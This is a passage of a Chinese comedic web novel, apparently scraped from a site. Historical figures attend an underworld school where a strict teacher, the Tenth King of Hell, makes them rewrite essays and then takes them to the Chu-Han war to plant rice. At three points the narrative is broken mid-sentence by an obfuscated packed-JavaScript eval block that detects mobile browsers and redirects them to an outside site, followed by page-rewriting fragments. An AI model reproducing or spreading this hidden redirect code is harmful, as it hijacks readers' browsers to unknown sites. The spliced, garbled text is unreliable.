薛长仪的目光落在吕布身上:“吕布,你在作文纸上打了八百个省略号做什么?是排卵期到了吗?重写。” “哈哈哈哈——”教室爆发出笑声。 吕布:“………………………………” 薛长仪又拿起一篇作文:“李白。” 李白为了听今日杨广读作文,特意没有喝醉,把农夫山泉里的二锅头,换成了度数很低的果酒。 “薛老师,本诗仙的文采,可斐然?” 薛长仪淡淡的说:“文采的确斐然,但字迹潦草,全部写出格子,整篇作文纸还写反了,这在考试的时候,是不能得分的——重写。” 李白:“……” “项羽。”薛长仪揉了揉额角:“作文题目是《我的爸爸》,不是《我的同桌》,你的文章通篇都在阐述同桌刘邦换班的必要性,偏题不得分——重写。” 项羽:“老师!要不考虑考虑,给刘邦换班吧!给我换班也行!我去普通班!” 刘邦笑起来:“普通班考试都及格了,你这全科不及格,怎么去普通班?” 项羽:“……!!!” “刘邦。”薛长仪再次点名。 全班都在等着薛老师说出那经典的两个字——重写。 薛长仪的面容展露出一丝微笑,犹如冰雪春融,沁人心脾。他一笑起来,第九班的学子恍然发现,薛老师的这张脸面,不笑之时是有多么的暴殄天物,这样好看的面容,就该颠倒众生,还当什么支教老师? 薛长仪展开作文纸:“刘邦的作文,行文简明,故事感人,字里行间之中,都充斥着对父亲的思念之情,立意也高,保持这样的水平,这次语文补考,你的作文完全可以得高分。” 哐啷! 项羽站起来,大喊:“我不信!” 薛长仪说:“刘邦的作文可以作为范文,大家传阅学习一下。” 项羽立刻抢过作文纸,粗暴的展开,两只如鹰一般明亮的眼睛,快速闪烁的阅读。 刘邦出身农家,父亲刘太公居丰邑。在刘邦的笔下,父亲只是一个普普通通,温柔慈爱的农民。 楚汉之争开始后,楚军抓住刘太公,项羽以刘太公性命作为要挟,将刘太公放在一个巨大的砧板之上,传话刘邦,如果刘邦不肯投降,便将他的父亲烹杀! 刘邦回答:“吾与羽曰为兄弟,吾翁即若翁。必欲烹而翁,幸分我一杯羹!” ——我和你项羽曾经结拜为兄弟,我的父亲就是你的父亲,如果你真的要烹杀自己的父亲,劳烦你分给我一碗肉汤吧! 作文纸发出哗啦哗啦哗啦的震动声,项羽气得手抖,踩了电门一样打晃。 “你——你你你、你……”项羽呵斥:“你的作文里,为何要提到我!” 刘邦微笑:“阿羽,你的作文里不是也提到了哥哥我吗?” 项羽:“……你滚啊!” “安静。”薛长仪拿起打神鞭,轻轻敲了敲讲台。 当——!!! 打神鞭发出不同于木质的声音,带着浓烈刺耳的回音,瞬间盖过教室的嘈杂。 薛长仪平稳的说:“老师给你们留的作文题目是《我的爸爸》,大多数人都只写了父亲,而忽略了‘我’,刘邦的行文之间,不仅写了父亲的慈爱,还从侧面烘托了‘我’的睿智沉着,值得各位同学习学一番。” 项羽不忿:“哼……”伪君子! 薛长仪一一点评,只剩下最后一张作文纸,那必然是——杨广的作文。 “广、杨同学。”薛长仪又笑了。 还是那样颠倒众生的笑容,温柔的嗓音,听起来却一点儿也不温柔。 杨广:“……” 杨广硬着头皮纠正:“薛老师,朕叫杨广,不是广杨。” “哦,”薛长仪点点头:“是吗。” 杨广:“……???” 薛长仪又说:“相信同学们最期待的,便是杨广同学的作文,这样吧,我们请杨广同学,亲自上台朗读——《我的爸爸》。” 杨广:“……!!!” 杨广坐在椅子上,屁股生钉,摇头干笑:“薛老师,朕知道自己写得好,辞藻华丽,行文酣畅,立意宏伟,可歌可泣,就不必朗读了吧。” 薛长仪点点头,杨广狠狠嘘出一口气,还以为新来的代课班主任放过了自己。 “既然杨广同学不想朗读,”薛长仪随和的说:“杨坚同学,你帮他朗读作文吧。” 杨广:“………………” 我的爸爸,朗读《我的爸爸》? 杨坚温和得体,从座位上站起来:“好的,薛老师。” 嗖—— 杨广身形一闪,用上轻身功夫,在杨坚还未碰到作文纸的一霎那,迅捷的将作文抢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14257686|151615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在手中。 “父、父皇……”杨广乖巧微笑,笑容莫名有些干涩:“还是……还是儿子来读吧,儿子突然很想读!特别想!” 薛长仪挑眉:“那还是让杨广本人来读吧。” 让出讲台的位置,薛长仪今日露出第三次微笑:“同学们掌声鼓励一下杨广同学。” 啪啪啪啪!! “哈哈哈哈!广!读啊!” “大点声!” “加油——范文!” “你爸爸听着呢!” 杨广:“……”朕这辈子最大的痛楚,不是亡国,而是社死…… 杨广深深的吸了一口气,清了清嗓子。 “我……” “《我的爸爸》……” “吾咳咳……吾皇君父,受天明命。咳咳……文德武功,英华盛兴。顾盼闲雅,姿仪长青。慈爱可亲,威范可敬。开宏图,创垂统,率百僚,驾万乘,临照轩冕,如日如……” 薛长仪冷漠打断:“可以了。” 杨广:“……如天。” 薛长仪点点头,重复:“可以了。” 杨广指了指作文纸:“老师,朕还没读完。” 薛长仪挑眉:“杨广同学,老师让你写的是《我的爸爸》,不是国庆节贺词——重写。” 杨广:“……” “杨坚同学,”薛长仪说:“杨广同学的作文不合格,麻烦你下课回去,帮助帮助他,多多回忆一些父慈子孝、父爱如山的往事,有助于他提高作文成绩。” 杨坚微笑:“好的薛老师,我家不成器的广儿,给你添麻烦了。” “不麻烦,”薛长仪优雅的说:“应该的。” 杨广:“……” 杨广趁着拿回作文纸的空当,低声说:“薛、老、师,你怎么总跟朕不对付?” “朕知晓了,”杨广恍然大悟:“你是隋朝来的?被朕抄过家?砍过头?发配过开凿运河?” 薛长仪摇头:“都不是。” 杨广咬牙切齿:“那为何,第九班这么多学生,你偏偏针对朕一个人,别告诉朕,因为朕姿仪俊美!” 薛长仪上下打量杨广,说:“的确是俊美的。” 杨广没想到他会如此坦然的承认,一个磕巴也不打。 薛长仪还有后话:“但不足够吸引老师的注意力。” 杨广:“……” 薛长仪又说:“杨广同学听说过下马威吗?新官上任三把火,老师的第一把火,自然要烧刺头儿。杨广同学文德武功,无一不精,尤其善于舆论煽动,让你在班里上蹿下跳,老师还怎么上课?” 杨广压低声音:“你到底要干什么?” 薛长仪语重心长:“老师只是想让你做一个专心上课,认真听讲,按时交作业,完成寒假补考,给第九班起到表率作用的……乖孩子,做得到吗?” 杨广冷笑:“乖孩子?你当朕是三岁孩童不成?” “杨坚同学,”薛长仪提高嗓音:“下课到老师办公室来一趟。” “等等!”杨广阻止:“有事好商量。” 薛长仪重新发问:“乖孩子,做得到吗?” 杨广蚊子声:“……做……嗯……” 薛长仪幽幽的说:“杨广同学竟然还有如此腼腆的一面?声音太小了,老师听不清,大点声再说一遍。” 杨广:“……” 杨广深吸一口气,咬住后槽牙:“做、得、到!” 薛长仪抬手,摸了摸杨广的头顶。 杨广姿仪挺拔,比薛长仪要高大许多,薛长仪仰头抚摸,气势却一点儿不落下风,微笑说:“乖孩子。” 5. #地府一中交流群# #地府一中第九班交流群# 吕布:作文你们都重写了吗? 吕布:薛老师不让我打省略号,那可以打逗号吗? 吕布:是不是明天交? 项羽:不给伪君子换班,我就不写作文! 薛老师:明天早自习之前,班长收齐交给我。 项羽:你们也别写,大家都别写! 项羽:我看姓薛的收不上来作文怎么办! 刘邦:#大笑表情# 项羽:伪君子,你笑什么! 杨广:…… 吕布:??? 吕布:咱们群里怎么还有人叫薛老师? 项羽:!!! 项羽:谁把老师拉进群的?! 刘邦:薛老师,项羽煽动同学不交作业,我建议项羽同学明天交两篇《我的爸爸》。 项羽:是不是你刘邦?! 项羽:我%¥!@……#***!!! 刘邦:阿羽高兴的已经开始用脸滚键盘了。 李白:我倒是觉得他是在用键盘磨刀…… 薛老师:刘邦同学的建议不错,不过写两篇《我的爸爸》,实在太难为项羽同学了。 薛老师:那就交一篇《我的爸爸》,一篇《我的同桌》好了。 项羽:**!@#!!¥¥¥%%…………& 项羽:!!!!!!!!!!!! 薛老师:同学们,如果还有人像项羽同学一样,想写两篇、三篇、三十篇作文,老师可以满足他的向学之心。 薛老师:明天交作文,能交的扣1 李白:1 成蟜:1~ 吕布:1 项羽:吕布你个叛徒! 项羽:………………1 薛老师:都是乖孩子,劳烦代班长早自习前收齐。 嬴政:好。 * #地府一中讲师交流群# 校长:#大哭表情##大哭表情##大哭表情##大哭表情# 姜子牙(数学组):? 仓颉(语文组):又被第九班气哭了? 夸父(体育组):这帮小崽子,要不要老夫用桃木杖,给他们一顿好打! 校长:打不得打不得!都是老祖宗! 校长:#大哭表情# 校长:而且我这是喜极而泣! 姜子牙(数学组):? 校长:你们不知道,第九班第一次交作文了!全班都交了,一个不落! 姜子牙(数学组):! 仓颉(语文组):! 夸父(体育组):啊??? 姜子牙(数学组):注意队形 夸父(体育组):哦…… 夸父(体育组):! 仓颉(语文组):那作文写得怎么样? 校长:老祖宗都交作业了,还管写得怎么样? 姜子牙(数学组):祭酒你这要求有点太低了。 夸父(体育组):听说第九班新来了一个代班班主任? 校长:没错,在这里我要重点表扬一下薛老师! 校长:薛老师刚来咱们学宫,就能让第九班全班交作文,神人也! 薛长仪(语文组):祭酒言重了,应该的。 仓颉(语文组):薛老师,我得向你取取经,你怎么降服的第九班? 姜子牙(数学组):友情提示,薛老师是地府中央总厅,第十殿阎王,还申请借调了打神鞭。 校长:打、打神鞭? 夸父(体育组):薛老师!你该来我们体育组啊!!! 薛长仪坐在444宿舍的书桌前,打开地府中央总厅配备的电脑,从讲师交流群中,点击校长的头像,进入私聊界面。 薛长仪(语文组):校长,我想申请这周六的课外实践名额。 校长:课外实践? 薛长仪(语文组):是的。 薛长仪(语文组):我听说每个学期,每个班都会有课外实践的课时,需要与校长提前报备。 校长:这…… 校长:阎王大人啊,寒假之后第九班还要补考,这个时候拉出去课外实践,会不会耽误学习? 薛长仪(语文组):请校长放心,课外实践,是为了更好的学习。 校长:好吧! 校长:既然阎王大人都能让第九班的老祖宗们交作文了!我十分相信阎王大人您的能力! 校长:我批准了! 薛长仪(语文组):多谢校长。 校长:#好奇表情# 校长:多问一句,阎王大人打算带第九班的老祖宗,开展什么课外实践? 薛长仪(语文组):#微笑表情# 吱呀—— 444宿舍的大门被推开,一个身着白色衬衫,黑色西服马甲的笔挺男人,从外面走进来。 英俊的面容,宽肩、劲腰、长腿,流畅的肌肉藏在西装之下,尤其是胸部的线条,被贴身的马甲束缚着,随着每一次吐息,微微起伏。 堪称完美。 如果—— 忽略男人手中提着的红色老式暖壶,就更加完美了。 薛长仪看向走进来的男人,挑眉:“乌部长。” 乌部长点点头:“薛老师下课了?” 他提了提手中的暖壶:“路宫宿舍停水了,看来是忘川河又在闹妖,我多打了一壶热水,薛老师有需要的话,请自便。” “谢谢。” “不客气。” 二人简短对话,只这么看来,完全是两个客客气气的同事。 一点儿看不出,乌部长是地府十殿最最最最,最讨厌的督查司司长。并且,曾经亲手检举第二殿阎王,将薛长仪的结拜二哥,打下欲忘台。 薛长仪关闭电脑,展开一抹微笑,微微转着椅子:“乌部长来学校也有几天了,怎么没见你给学生们上课?” 乌部长精简的回答:“课表还在排。” “是吗?”薛长仪保持优雅的微笑:“不知情的人,还以为乌部长不是来当老师的,而是……” “而是?”乌部长反问。 薛长仪的微笑消失了,恢复了冰冷如雪霜的面容,这才是十殿阎王一贯的表情。 幽幽开口:“而是……来监视我的。” 乌部长稍微顿了一下,说:“薛老师,你真会开玩笑。” 但444宿舍中,谁也没有笑…… * 周一:交作文,重写。 周二:交作文,重写。 周三:交作文,重写…… 周四交作文,重写,周五…… 终于在周五第七节课结束之前,整个第九班的作文全部通过,再也不用重写《我的爸爸》了! 吕布感叹说:“我多想没有爸爸,是不是没有爸爸就不用写《我的爸爸》?” 他拍着杨广肩膀:“广子,你说呢?” 杨广嫌弃的拨开吕布的手:“……” “哦耶——”小包子成蟜蹦跳跳:“明天是周末,周六日不用上课!哥哥,带蟜蟜出去玩——玩嘛~~蟜蟜要吃糖福芦!” 嬴政矮身蹲下来,给弟弟成蟜将羽绒服拉锁拉好,围上红色的小围脖,纠正说:“糖葫芦。” 成蟜歪头,咬手:“糖——葫——芦——” 嬴政点头,摸摸弟弟软绵绵的小脸蛋儿:“明天哥哥就带蟜儿去买糖葫芦。” 成蟜欢呼:“哦——次糖福芦!糖福芦!” 嬴政:“……” 杨坚微笑:“广儿,为父也给你买糖葫芦,可好?” “呵呵、呵呵…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14257687|151615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”杨广干笑:“父皇、父皇高兴就好。” 项羽收拾好书包,把写了五遍,改了八遍的《我的爸爸》,统统塞进书包里,挠了挠后脑勺,说:“嘶——我怎么总觉得后背发凉,有一种不好的预感。” 刘邦微笑:“阿羽,你难道被八班的诸葛孔明附身了?能掐会算的。” “滚啊!”项羽瞪眼:“别叫我阿羽!” “那叫你什么?我们曾经曰为兄弟,山盟海誓过的,叫你阿弟?羽儿?” “都叫你滚了!你滚不滚?你不滚?好!我滚!” 踏踏踏…… 是脚步声,轻盈、优雅。 伴随着一只黑色的晴雨伞,进入了第九班教室。 “同学们,”薛长仪清泉天籁一般的嗓音响起:“都等一等,老师有事情要通知。” 项羽瞠目结舌:“娘呀,我真的能掐会算了,怪不得后脖子总是发凉呢!” 薛长仪宣布:“明日周六,校长特批了第九班课外实践。” “课外实践?” “那是什么鬼?” “哥哥哥哥!课外实践,是不是……是不是可以出去玩鸭!” “可以离开学宫这个鬼地方?” 薛长仪淡淡的说:“课外实践,自然是在学宫以外的地方。” 末了,补充说:“阳间。” “阳间!” 第九班教室沸腾起来:“我有八百年没有回过阳间了!” “那你还好,我都一千多年没回过阳间了!” “老师你是不是看我们改作文太辛苦,带我们去放松放松?” “阳间好啊,我听说阳间现在流行吃螺蛳粉!我吕布还未曾食过!” “糖福芦!” “螺蛳粉!” “糖福芦!” “螺蛳粉!” “薛老师,”嬴政开口了,终于有人问到点子上:“可以问一问明日课外实践的内容么?” 薛长仪挑唇:“暂时保密。” * 周六,寅时。 凌晨4:00 学宫已经放寒假,只剩下需要补考的第九班学生留在宿舍,又是冬日,还未天亮,一个个沉浸在香甜的睡梦之中。 突然,整栋楼响起洪亮的广播声。 “地府中小学生,第一套广播体操,现在开始——” “第一节,伸展运动——” “一、二、三、四……” “嗬!!” “怎么回事?!” “刘贼杀进来了?有人攻城!?” “唔——哥哥,蟜儿困困……” 宿舍门被推开,薛长仪优雅的举着黑伞走进来:“各位同学,课外实践……开始了。” “才四点……” 不知是谁嘟囔了一声,紧跟着是“呼——呼——呼——”打呼噜的声音,众人无视了薛长仪,屏蔽广播体操的噪音,雷打不动的继续睡觉! “起床、洗漱。”薛长仪发话,在地府中央总厅做久了阎王,薛长仪到底有一些威严在身上,即使面对第九班的这些“老祖宗”们,也不落下风。 薛长仪抬起白皙纤细的手腕,看了看千魔眼化成的腕表:“五分钟之后,泮宫操场集合,如有迟到,加作文《我的妈妈》一篇。” “我的……妈呀!” 学生宿舍再次沸腾起来:“快快快!起床!” “我的裤子呢!谁穿了我的校服裤子?刘邦你拿的是我的裤子!” “哥哥……蟜儿困困,给蟜儿穿衣衣!” “朕都亡国了,不用上早朝,还起这么早,造孽啊!” “天还黑着!狗都没醒!” 薛长仪微笑:“可是……狗又不用补考。” 第九班全体学子:……不知道为什么,好有哲理。 6. 课外实践 地府一中第九班,全体在泮宫操场集合,从矮到高排成两列。 “薛老师,咱们到底要去哪里啊?” “这么早,去哪里课外实践?” “是啊,什么课外实践,起得比狗早?” 一众学子吵吵闹闹,薛长仪没有回答,撑起黑色的晴雨伞,幽幽的说:“跟上。” 轰——轰隆隆—— 保安大爷打开地府一中的大门,薛长仪率先走出校门,叽叽喳喳的学子立刻跟上,终于可以离开学宫了。课外实践,总比写《我的爸爸》《我的妈妈》要轻松一些吧? 学宫之内模仿了正常的日升月落,离开学宫之后,便进入了地府中央总厅的管辖范围,在这里只有昏暗,没有日光,一年到头也看不到一丝日头。 当然,月光也没有。 向前走是欲忘台。 “老师,你带我们到这里来做什么?” “是啊,不是要去阳间课外实践吗?” 欲忘台,乃是阴曹地府贬黜之用。例如二殿阎王,就因被督查司纠察,从欲忘台打下,生生抽去所有仙骨,历经磨难,洗刷罪业。 对于地府的公务人员来说,欲忘台是一个可怕的地方。 薛长仪登上高台,望着台下幽幽的深渊,平静的说:“今日的课外实践,便是从欲忘台通往阳间。” “真的假的?” “从欲忘台下去,还能上来吗?” “老师你也太狠了,我们不过多改了几遍作文,上课气哭老师,下课不交作业,也不至于打下欲忘台吧!” “哥哥,蟜蟜怕黑!” 小雪包一样的成蟜,钻进嬴政怀里,紧紧搂着哥哥脖颈。 “盒——盒——盒——”一连串古怪的笑声传来。 十足具有标志性,人还未到,只是听这笑声,就知道是孟婆姥姥来了。 孟婆对薛长仪点点头:“大人。” 学子们互相目询,大人?甚么大人? 老师大人?讲师大人? 吕布低声咬耳朵:“孟婆姥姥竟然对薛老师如此恭敬,还喊薛老师大人,而且他能接住我的方天画戟……我断定——他或许不是一般人!” 杨广淡淡的说:“行了元芳,你可以闭嘴了。” 吕布左看,右看,迷茫脸:“元芳?元芳在哪呢?李元芳不是八班的吗?” 杨广:“……” 薛长仪说:“姥姥怎么来了?” “盒——盒——盒——”孟婆亮出招牌笑容,杵着沙漏型的拐杖,笑出满脸的褶子:“大人不是要带着学宫的学子们,去阳间课外实践嘛?不巧,今日欲忘台的神使请假了……您也是知道的,咱们地府中央总厅,越来越鬼兴化,讲究一个鬼文关怀,从十年前开始批准每个月的特别假期……” 特别假期,其实就是痛经可以请假,每个月请一次,不扣工资。 孟婆说:“欲忘台的神使今日正好请假,便让老身前来代班。” 薛长仪点点头,示意自己知道了。 项羽压低声音:“欲忘台的神使,不是个胡子拉碴的大爷吗?大爷……每个月也来那个???” 刘邦:“……” 薛长仪说:“那就有劳姥姥,帮忙操作欲忘台了。” “不劳烦!不劳烦!”孟婆颤巍巍摇手:“让老身看看……嗯——唔?哎呦,这欲忘台的操作台,还挺复杂嘛,无妨无妨,老身曾经见过神使操作欲忘台,拢共只有九千九百八十个按钮,不多、不多……” 第九班全体学子:“……” “姥姥,你会操作吗?” “要不然,咱们改天再实践吧?” “是啊,也不急于一时,万一按错了按键……” 嗖——!!! 操作台突然亮了起来,闪烁着刺目的光芒,五颜六色,红的、黄的、绿的、蓝的,还有情趣酒店霓虹灯一般的“色色的粉红”! 下一刻,欲忘台突然裂开,众人脚下一空,跌下万丈深渊。 “啊!!” “我的娘啊,这是要掉到地心里去吗?!” “诶鸭!哥哥救命——” 欲忘台下的深渊,瞬间将学子们包围,仿佛野兽的大嘴。 顷刻,“哐!”一声,欲忘台再次闭合,恢复平静。 孟婆拄着沙漏的拐杖,站在欲忘台之巅,笑眯眯的说:“课外实践愉快,盒——盒——盒……咳咳!” 孟婆笑着笑着,咳嗽起来:“这鬼天气,污染真是越来越厉害了……” * 今日楚家地,明朝汉家田。 年年埋枯骨,梦里黄粱饭。 昏黄的天。 昏黄的地。 昏黄的一片…… 零零星星几个人烟,几乎被这一片昏黄掩埋,孤零零,又苍凉。 “这是……”刘邦蹙眉看着周围。 上一刻还是漆黑一片的欲忘台,下一刻四周荒凉,天色昏黄,仿佛蒙着一层灰败的雾气,空气中尽是烧焦的味道,远处还能看到滚滚的浓烟,像乌云,幽幽的飘散而来,不断压境。 刘邦震惊:“这是何处?” 项羽惊喜的说:“快看!是人!那边有几个人,这里是……” “阳间。”薛长仪脚步轻盈的走出来,还是举着一把黑色的伞。 只不过那把晴雨伞,变成了油纸伞。 而远处的几个人,穿着做农活的短打。 这里是…… 古代? 死了至少几百年的老祖宗们,没成想有朝一日,竟然能回到古代。 吕布跃跃欲试:“老师,这里是什么朝代?有没有仗可打!有没有城可攻?” 刘邦若有所思:“这个地方……好似有些眼熟。” 项羽冷笑:“你看哪里都眼熟。” 薛长仪没有回答。 倒是远处飘来稚嫩的童音,唱着打油诗一般的歌谣。 “今日楚家地——明朝汉家田——年年埋枯骨——梦里黄粱饭——” 几个比成蟜还要小的小豆包,没有穿鞋,身上脏兮兮,甚至没有一件完整的衣裳,蹦蹦跳跳的唱着。 “娃儿——”远处短打的大人高喊:“别跑远了!” 另外的女人催促:“他爹!快收拾罢!你看那面儿,火都烧过来了,若是收不完这些粮食,这一年的心血,可都要被那帮当兵的毁了!” “快罢!快点罢!再快一点!” 李白奇怪:“他们在做什么?” 成蟜奶声奶气:“太白哥哥,他们一定是在收粮食!” 李白更是奇怪:“可这些粮食显然还没有成熟,为何此时就摘了?” 踏踏踏踏——!!! 无人给诗仙解惑,马蹄声骤然响起,滚滚的浓烟,伴随着踏踏的尘土,从远处席卷而来。 是一队兵马! 高呼着,呐喊着,举着火把,大有烧天之势头。 士兵高喊:“是汉田!” 成蟜眨巴着亮晶晶的大眼睛:“哥哥!这些兵哥哥好笨哦!这明明是水田,不是旱田,蟜蟜都识得……呀!!” 成蟜的嗓音突然拔高,似乎受到了惊吓,一头扎进嬴政怀中,紧紧搂着哥哥的劲腰。 “烧不得啊!” “兵爷!烧不得啊!” “我们不是汉王的人,我们是楚王的人啊!” “我们真是楚王的子民!种的是楚王的田!不要烧——不能烧啊!!” “呜呜呜……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14257688|151615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩童的哭声、农人的喊声、士兵的呵斥声,还有…… 烈火焚烧农田的咧咧之声,交相呼应在一起,编织成一张嘈杂的大网。 项羽是个急脾气,怒火冲头,撸起袖子往前走:“这些王八羔子,竟然欺辱手无寸铁的农人!” “且慢。”刘邦拉住他。 “拉我做什么?”项羽没好气的甩开他的手。 刘邦眯起眼睛:“你听他们……在说什么?” 士兵嘶吼着:“滚开!大王有令,凡是汉贼的田,烧!!” 汉王? 楚王? 第九班全体学子的目光,全部聚集在刘邦和项羽的身上。 眼看着熊熊烈火燃烧起来,项羽沙哑的说:“薛老师,这里……到底是什么朝代?什么地方?” 薛长仪举着黑色的油纸伞,目光平静,甚至冰冷的看着远处焚烧庄稼腾起的汩汩黑烟,嗓音犹如止水,淡淡的说。 “割据四年,农人今日种的是楚家的地,明日就变成了汉家的田,田地里埋着数不尽的骸骨,庄稼都荒废了,只有在梦里才能吃到黄米饭。” 他说完,看向刘邦和项羽,点点头:“正如你们所想——楚汉之争。” 这里——欲忘台下的这片天地,曾经是刘邦和项羽叱咤风云,一决雌雄的战场,斗智斗勇,一决高下的棋盘! 项羽的眼眸中,映照着远处刺目的火焰,嗓音更加沙哑:“所谓的课外实践,到底……是什么?” 薛长仪黑色的袖袍轻轻一拂,白皙修长的手指,指向火海之隅,仅剩下的一片小水沟儿。 “这次的课外实践内容是——”薛长仪轻飘飘的吐出两个字:“……插秧。” “插谁?” “秧是谁?” “插秧,是朕想的那个插秧吗?!” * “小鱼,小豹!”校长背着手,神清气爽的溜达。 “你们来得正好,”校长的笑容和蔼可亲:“我向你们打听打听,阎王大人带着第九班去课外实践,你们可知道,课外实践的具体内容是什么?” 豹尾豪爽的,毫无保留的说:“哦,知道啊!祭酒不知道么?老大带着第九班的学生们,去阳间插秧了!” “插……”校长和蔼可亲的笑容,僵硬住了…… 叩叩叩! 444讲师宿舍被敲响,敲门声十足急促,好像赶着投胎催命一般。 “司长大人!乌部长!” 尚未有人应门,校长风风火火的冲进来,满头大汗,哪里还有学宫之首的姿仪与体面。 “乌部长,不好了!大事不好了!” 乌部长坐在宿舍的椅子上,优雅的叠着腿,单手托着一本《体育与健康课程标准解读》,正在备课。 他放下手中的体育教材,面容是一成不变的平静,什么也无法提起他的兴趣,惜字如金的说:“校长?” “乌部长啊!”校长拍着自己大腿,痛心疾首:“阎王大人……阎王大人带着第九班的老祖宗们去……去——去阳间插秧了!” 乌部长难得一愣,英俊而冷漠的脸孔出现了一丝短暂的空白,不到半秒钟。 乌部长:“插……?” 校长:“插秧!” 校长化身一头勤奋的毛驴,急得转磨:“怎么办,怎么办啊!那可都是历史长河中的老祖宗,阎王大人带他们去插、插秧!插秧啊!!我看我这个校长晚节不保啊,主动请辞会不会好一点,说不定中央总厅会给我留一些颜面,对对……我现在就写辞职信!诚恳一点!” “校长。”乌部长终于开口了,他一成不变的面容,竟染上了一丝丝不易被察觉的笑容,挑眉说:“插秧……的确超纲了一些,但也算是新颖的课外实践。” 7. 互帮互助! “插谁?” “秧……?” “秧是谁?” “插秧,是朕想的那个插秧吗?!” “是了,我知道了!”吕布大喊一声,恍然大悟的拍手。 其他学子立刻投去瞩目的目光,希冀的看着他。 吕布信誓旦旦:“一定是——商鞅!!隔壁八班那个商鞅!纪律委员!我早就看他不顺眼了,原来薛老师也看他不顺眼,没关系,干他!” 其他学子:…… 杨广翻了一个白眼:“那聪明机智的战神将军有没有想过,为什么老师要带你到楚汉之争的时代来插、秧!商鞅早就死了八百年了。” 吕布一顿,反应了足足五秒,五秒期间,只剩下风声和火焚之声,喃喃的说:“是啊,为什么?” 其他学子:…… 薛长仪好心解释:“插秧,就是最普通意义上的插秧。这次的课外实践,主打锻炼各位学子的毅力与耐力,同时体会人间疾苦。盼望各位学子回到学宫之后,可以安心、用心、专心的学习。” 刘邦蹙眉:“薛老师,也不必到这种地方来实践吧?” 项羽嘟囔:“是啊。” 薛长仪反诘:“怎么?这不是你们二位学子曾经的主场么?如今再次温故……怕了?” “怕?!”项羽不屑大笑:“哈哈!!我项羽,从不知什么是害怕,只有孬种才会害怕!” 说“孬种”二字之时,看特意看向刘邦,什么意思不言而喻。 “很好,”薛长仪清冷的表情犹如冰霜,仿佛在讲冷笑话:“各位同学要多多向项羽同学学习,就是要拿出这样积极进取,努力拼搏的态度。” 其他学子:…… “薛老师,我没……”项羽刚想反驳。 薛长仪挑眉:“怕了?” 项羽瞪眼:“怎么可能!” 薛长仪:“如果不插秧,就是怕了。” 项羽:“谁怕谁?!好,不就是插秧吗?插!” 薛长仪微笑:“乖孩子,项羽同学。” 项羽:“……???”诶?我怎么就同意插秧了呢?好奇怪啊…… 刘邦:“……” 杨广翻了一个大大的白眼儿:“薛老师,你可知第九班有多少人做过皇帝?让我们这些帝王插秧,你如果不是疯了,便是还没睡醒!” 薛长仪转头看向杨坚,说:“杨坚同学也是这么认为的吗?” 杨广瞬间挤出乖巧笑容:“父皇,儿子也是心疼您!父皇乃开国之君,大有为,怎么能做这样腌臜的活计呢?” 杨坚说:“广儿,此言差矣,为父虽为开国之君,但也困顿过,深知农人之苦,尤其是……战乱之中夹缝生存的农人,便更是清苦,农人种田耕地,才有了这世人果腹的粮食,怎么能说是腌臜的活计?” “是是!”杨广乖巧的点头:“父皇教训的是。” 在杨坚面前,杨广乖巧的好像一只小猫咪,这可是杨广多年做太子养出来的条件反射。 杨坚又说:“以为父之见,薛老师的课外实践,设定的十足合理,既能走出课堂,跳出书本知识,又能锻炼广儿你的心性,为父是十分赞同的。” 薛长仪轻笑一声,低声对杨广说:“杨广同学,别忘了老师的三把火还没烧完,小心再烧到你的头上。” 杨广:“……” 杨广咬着后槽牙,从牙缝里挤出声音:“既然父皇都这么说了,朕突然发现插秧这种课外实践活动,也很……很富有意义。” “其他同学,”薛长仪轻轻抚掌,将众人的注意力吸引过来:“还有什么疑意吗?” 项羽是被套路了,杨广这个最会煽动人心的也被迫同意,其学子都是聪明人,如果不同意这次的课外实践,顶多再被薛老师套路一顿,难道吃套路还上瘾不成? “好,”薛长仪说:“既然各位同学没有疑意,老师宣布一下这次课外实践的规则,与注意事项。” “规则?” “插秧还要什么规则?” “就插呗!” 薛长仪幽幽的说:“各位同学以学号排序,序号相邻的两个同学结成互帮互助学习小组。” “互帮互助?” “还学习小组?” 薛长仪继续说:“这次的课外实践,以小组为单位计分,为期两天,优异者每日可以得到一枚小红花。” 项羽掰着手指头数了半天:“为什么要按学号组队?我不要和刘邦这个伪君子一组!老师,我抗议!” 薛长仪:“抗议无效。” 项羽:“……” 李白提问:“小红花是做什么的?如果得不到小红花呢?” “得不到小红花……”薛长仪微笑:“就不给饭吃。” 学子们愣了片刻,不给饭吃?随即都狠狠的松了一口气。 第九班的学子,可都不是普通人,少则来到地府几百年,多则几千年,像他们这样的资历修为,就算戴着电枷,锁住了一定范围之内的灵能,一顿两顿饭不吃,也绝对扛得住,可不像普通的人那么“娇气”。 薛长仪似乎看透了他们的心思,黑色的袖袍扬起。 呼——! 